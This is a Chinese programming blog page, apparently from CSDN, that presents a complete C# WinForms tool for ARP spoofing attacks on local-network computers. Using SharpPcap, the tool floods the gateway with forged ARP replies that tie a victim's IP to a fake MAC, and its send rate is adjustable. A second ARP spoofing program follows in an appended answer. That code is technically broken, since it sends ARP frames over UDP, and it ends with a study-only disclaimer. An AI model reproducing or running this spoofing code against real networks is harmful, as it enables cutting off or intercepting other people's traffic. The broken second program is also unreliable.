c#构造和发送ARP欺骗包对网内电脑进行攻击

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Tamir.IPLib.Packets;
using Tamir.IPLib;
using Tamir.IPLib.Protocols;
using System.Threading;

namespace FoxArp
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        protected override CreateParams CreateParams
        {
            get
            {
                int CS_NOCLOSE = 0x200;
                CreateParams parameters = base.CreateParams;
                parameters.ClassStyle |= CS_NOCLOSE;

                return parameters;
            }
        }
        private bool bolSendPacket = true;
        private bool bolGetDev = true;
        private void numericUpDown1_ValueChanged(object sender, EventArgs e)
        {

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {

                PcapDeviceList devices = SharpPcap.GetAllDevices();
                for (int z = 0; z < devices.Count;z++ )
                {
                    cbbDeviece.Items.Add(devices[z].PcapName);
                }
                cbbDeviece.SelectedIndex = 0;
            }
            catch(Exception ex)
            { MessageBox.Show("绑定网卡失败!"); bolGetDev = false; }
        }
        Thread threadgetmac;
        private void btnGetGateWayMac_Click(object sender, EventArgs e)
        {
            try
            {
                if(!bolGetDev)
                {
                    MessageBox.Show("绑定网卡失败,无法完成"); return;
                }

                if (tbxGateWayIp.Text == "")
                {
                    MessageBox.Show("请输入网关IP"); return;
                }
                else
                {
                    System.Net.IPAddress.Parse(tbxGateWayIp.Text);
                    long z = Ipchange(tbxGateWayIp.Text);
                    string x = Ipchanged(z);
                    if(x!=tbxGateWayIp.Text)
                    {
                        MessageBox.Show("请输入正确的网关IP"); return;
                    }
                }
            }
            catch(Exception se)
            { MessageBox.Show("请输入正确的网关IP"); return; }
            btnGetGateWayMac.Enabled = false;
            btnExit.Enabled = false;
            bolGetMacSuc = false;
            threadgetmac = new Thread(new ThreadStart(GetGatewayMac));
            threadgetmac.Start();
            Thread getmactimeout = new Thread(new ThreadStart(GetMacTimeOut));
            getmactimeout.Start();
          
          
        }
        private bool bolGetMacSuc = false;
        private void GetMacTimeOut()
        {
            Thread.Sleep(1000);
            if (!bolGetMacSuc)
            {
                threadgetmac.Abort();
                MessageBox.Show("获取网关MAC失败,请手动输入!");
            }
            else
            {
                MessageBox.Show("成功获取网关MAC!");
            }
            btnGetGateWayMac.Enabled = true;
            btnExit.Enabled = true;
           
        }

        private void GetGatewayMac()
        {
            try
            {
                PcapDeviceList deviece = SharpPcap.GetAllDevices();
                PcapDevice tempdevice = deviece[cbbDeviece.SelectedIndex];
                string name = deviece[cbbDeviece.SelectedIndex].PcapName;
                ARP A = new ARP(name);
                NetworkDevice dev = (NetworkDevice)tempdevice;
                A.LocalMAC = dev.MacAddress; ;
                A.LocalIP = dev.IpAddress; ;
                A.DeviceName = name;
                tbxGateWayMac.Text = A.Resolve(tbxGateWayIp.Text, name);
                bolGetMacSuc = true;
            }
            catch
            {
             
            }
        }

        private long Ipchange(string ipaddress)
        {
            int position1 = ipaddress.IndexOf(".");
            int position2 = ipaddress.IndexOf(".", position1 + 1);
            int position3 = ipaddress.IndexOf(".", position2 + 1);
            long[] ip = new long[4];
            ip[0] = long.Parse(ipaddress.Substring(0, position1));
            ip[1] = long.Parse(ipaddress.Substring(position1 + 1, position2 - position1 - 1));
            ip[2] = long.Parse(ipaddress.Substring(position2 + 1, position3 - position2 - 1));
            ip[3] = long.Parse(ipaddress.Substring(position3 + 1));
            return (ip[0] << 24) + (ip[1] << 16) + (ip[2] << 8) + (ip[3]);
        }
        private string strGateWayIp;
        private string strGateWayMac;
        private string strAttackIp;
        private string strSouMac = "00-21-D2-3A-42-22";
        private int intSendSpeed;

        private string Ipchanged(long ipaddress)
        {
            string z = "";
            z = (ipaddress >> 24).ToString() + "." + ((ipaddress >> 16) & 0x000000FF).ToString() + "." + ((ipaddress >> 8) & 0x000000FF).ToString() + "." + (ipaddress & 0x000000FF).ToString();
            return z;
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            if (btnStart.Text == "开始")
            {
                if (!bolGetDev)
                {
                    MessageBox.Show("绑定网卡失败,无法完成"); return;
                }
                if (tbxGateWayIp.Text == "" || tbxGateWayMac.Text == "" || tbxAtackIp.Text == "")
                {
                    MessageBox.Show("IP或MAC不能为空"); return;
                }
                else
                {
                    try
                    {
                        System.Net.IPAddress.Parse(tbxGateWayIp.Text);
                        long z = Ipchange(tbxGateWayIp.Text);
                        string x = Ipchanged(z);
                        if (x != tbxGateWayIp.Text)
                        {
                            MessageBox.Show("请输入正确的IP"); return;
                        }
                        System.Net.IPAddress.Parse(tbxAtackIp.Text);
                        z = Ipchange(tbxAtackIp.Text);
                        x = Ipchanged(z);
                        if (x != tbxAtackIp.Text)
                        {
                            MessageBox.Show("请输入正确的IP"); return;
                        }

                        if(tbxAtackIp.Text=="172.16.95.79"||tbxGateWayIp.Text=="172.16.95.79")
                        {
                            MessageBox.Show("不能攻击此IP,哈哈"); return;
                        }

                    }
                    catch
                    {
                        MessageBox.Show("请输入正确的IP"); return;
                    }
                }

                strAttackIp = tbxAtackIp.Text;
                strGateWayIp = tbxGateWayIp.Text;
                strGateWayMac = tbxGateWayMac.Text;
                intSendSpeed = (int)nudSendSpeed.Value;
                bolSendPacket = true;
                btnExit.Enabled = false;
                tbxAtackIp.Enabled = false;
                tbxGateWayIp.Enabled = false;
                tbxGateWayMac.Enabled = false;
                nudSendSpeed.Enabled = false;
                cbbDeviece.Enabled = false;
                btnGetGateWayMac.Enabled = false;
                btnStart.Text = "停止";
                bgwArpSend.RunWorkerAsync();
            }
            else
            {
             
                bolSendPacket = false;
                bgwArpSend.CancelAsync();

            }
        }

        private void bgwArpSend_DoWork(object sender, DoWorkEventArgs e)
        {
          
            Thread a = new Thread(new ThreadStart(ArpPacketSend));
            a.Start();
            while(!bgwArpSend.CancellationPending)
            {
                Thread.Sleep(1000);
            }
            btnStart.Text = "开始";
            btnStart.Enabled = true;
            btnExit.Enabled = true;
            tbxAtackIp.Enabled = true;
            tbxGateWayIp.Enabled = true;
            tbxGateWayMac.Enabled = true;
            nudSendSpeed.Enabled = true;
            cbbDeviece.Enabled = true;
            btnGetGateWayMac.Enabled = true;

        }

        private void ArpPacketSend()
        {
            int xs = 0;

            try
            {
                PcapDeviceList devices = SharpPcap.GetAllDevices();
                PcapDevice device = devices[cbbDeviece.SelectedIndex];
                NetworkDevice dev = (NetworkDevice)device;
                int len = EthernetFields_Fields.ETH_HEADER_LEN;
                string destmac = strGateWayMac;
                byte[] bytes = new byte[60];
                ARPPacket arp = new ARPPacket(len, bytes);
                arp.SourceHwAddress = strSouMac;
                arp.DestinationHwAddress = destmac;
                arp.EthernetProtocol = EthernetProtocols_Fields.ARP;
                arp.ARPHwType = 0x0001;
                arp.ARPProtocolType = 0x0800;
                arp.ARPHwLength = 6;
                arp.ARPProtocolLength = 4;
                arp.ARPOperation = 0x0002;
                arp.ARPSenderHwAddress = strSouMac;
                arp.ARPSenderProtoAddress = strAttackIp;
                arp.ARPTargetHwAddress = destmac;
                arp.ARPTargetProtoAddress = strGateWayIp;
                while (bolSendPacket)
                {
                    dev.PcapOpen(true, 20);
                    dev.PcapSendPacket(arp);
                    dev.PcapClose();
                    xs++;
                    if (xs == intSendSpeed)
                    {
                        Thread.Sleep(1000);
                        xs = 0;
                    }
                }
            }
            catch
            {
                MessageBox.Show("发送失败!"); bolSendPacket = false;
                bgwArpSend.CancelAsync();
            }
          
        }

        private void btnExit_Click(object sender, EventArgs e)
        {
            this.Close();
        }

        private void btnCopyRight_Click(object sender, EventArgs e)
        {
            copyright cd = new copyright();
            cd.ShowDialog();
        }


    }
}

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
ARP探测攻击,也被称为ARP欺骗攻击,是一种网络安全攻击方式。实现ARP探测攻击可以使用C#编程语言,下面是一份简单的代码示例: ```csharp using System; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; namespace ARPAttack { class Program { static void Main(string[] args) { // 获取本机IP地址 string hostName = Dns.GetHostName(); IPAddress[] addresses = Dns.GetHostAddresses(hostName); IPAddress localIP = null; foreach (IPAddress address in addresses) { if (address.AddressFamily == AddressFamily.InterNetwork) { localIP = address; break; } } // 获取网关的MAC地址 PhysicalAddress gatewayMac = null; using (Ping ping = new Ping()) { PingReply reply = ping.Send(localIP); if (reply.Status == IPStatus.Success) { IPAddress gatewayIP = IPAddress.Parse("192.168.1.1"); // 假设网关IP地址为192.168.1.1 ArpPacket arpRequest = new ArpPacket(localIP, gatewayIP); byte[] requestBuffer = arpRequest.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(requestBuffer, requestBuffer.Length, new IPEndPoint(gatewayIP, 0)); IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0); byte[] responseBuffer = udpClient.Receive(ref remoteEP); ArpPacket arpResponse = ArpPacket.FromBytes(responseBuffer); if (arpResponse.Operation == ArpOperation.Response) { gatewayMac = arpResponse.SenderHardwareAddress; } } } } // 发送ARP欺骗包 while (true) { ArpPacket arpSpoof = new ArpPacket(localIP, IPAddress.Parse("192.168.1.100"), gatewayMac); byte[] spoofBuffer = arpSpoof.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(spoofBuffer, spoofBuffer.Length, new IPEndPoint(IPAddress.Broadcast, 0)); } System.Threading.Thread.Sleep(1000); } } } public class ArpPacket { public const int HardwareAddressLength = 6; public const int ProtocolAddressLength = 4; public const int PacketLength = 28; public PhysicalAddress DestinationHardwareAddress { get; set; } public PhysicalAddress SenderHardwareAddress { get; set; } public ushort ProtocolType { get; set; } public ArpOperation Operation { get; set; } public IPAddress SenderProtocolAddress { get; set; } public IPAddress TargetProtocolAddress { get; set; } public ArpPacket(IPAddress senderProtocolAddress, IPAddress targetProtocolAddress, PhysicalAddress destinationHardwareAddress = null, PhysicalAddress senderHardwareAddress = null) { this.DestinationHardwareAddress = destinationHardwareAddress ?? PhysicalAddress.Broadcast; this.SenderHardwareAddress = senderHardwareAddress ?? GetLocalMACAddress(); this.ProtocolType = (ushort)EthernetType.Arp; this.Operation = ArpOperation.Request; this.SenderProtocolAddress = senderProtocolAddress; this.TargetProtocolAddress = targetProtocolAddress; } public byte[] ToBytes() { byte[] buffer = new byte[PacketLength]; this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, 0); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength); BitConverter.GetBytes(IPAddress.NetworkToHostOrder(this.ProtocolType)).CopyTo(buffer, HardwareAddressLength * 2); BitConverter.GetBytes((ushort)this.Operation).CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2); this.SenderProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength); this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength); this.TargetProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength); return buffer; } public static ArpPacket FromBytes(byte[] buffer) { PhysicalAddress destinationHardwareAddress = new PhysicalAddress(buffer, 0, HardwareAddressLength); PhysicalAddress senderHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength, HardwareAddressLength); ushort protocolType = (ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(buffer, HardwareAddressLength * 2)); ArpOperation operation = (ArpOperation)BitConverter.ToUInt16(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); PhysicalAddress targetHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength, HardwareAddressLength); IPAddress senderProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2)); IPAddress targetProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength)); return new ArpPacket(senderProtocolAddress, targetProtocolAddress, destinationHardwareAddress, senderHardwareAddress) { ProtocolType = protocolType, Operation = operation }; } private static PhysicalAddress GetLocalMACAddress() { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); PhysicalAddress macAddress = null; foreach (NetworkInterface adapter in nics) { if (adapter.OperationalStatus == OperationalStatus.Up) { macAddress = adapter.GetPhysicalAddress(); if (macAddress != null && !macAddress.Equals(PhysicalAddress.None)) { break; } } } return macAddress; } } public enum ArpOperation : ushort { Request = 1, Response = 2 } public enum EthernetType : ushort { Arp = 0x0806 } } ``` 上面的代码中,我们先获取本机的IP地址和MAC地址,然后发送一个ARP请求包到网关,获取网关的MAC地址。接着,我们每秒钟发送一个ARP欺骗包,将本机的MAC地址伪装成另外一台机器的MAC地址,从而实现ARP欺骗攻击。 需要注意的是,ARP欺骗攻击是一种违法行为,未经授权使用可能会导致法律后果。本代码仅供学习和研究用途,请勿用于非法用途。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值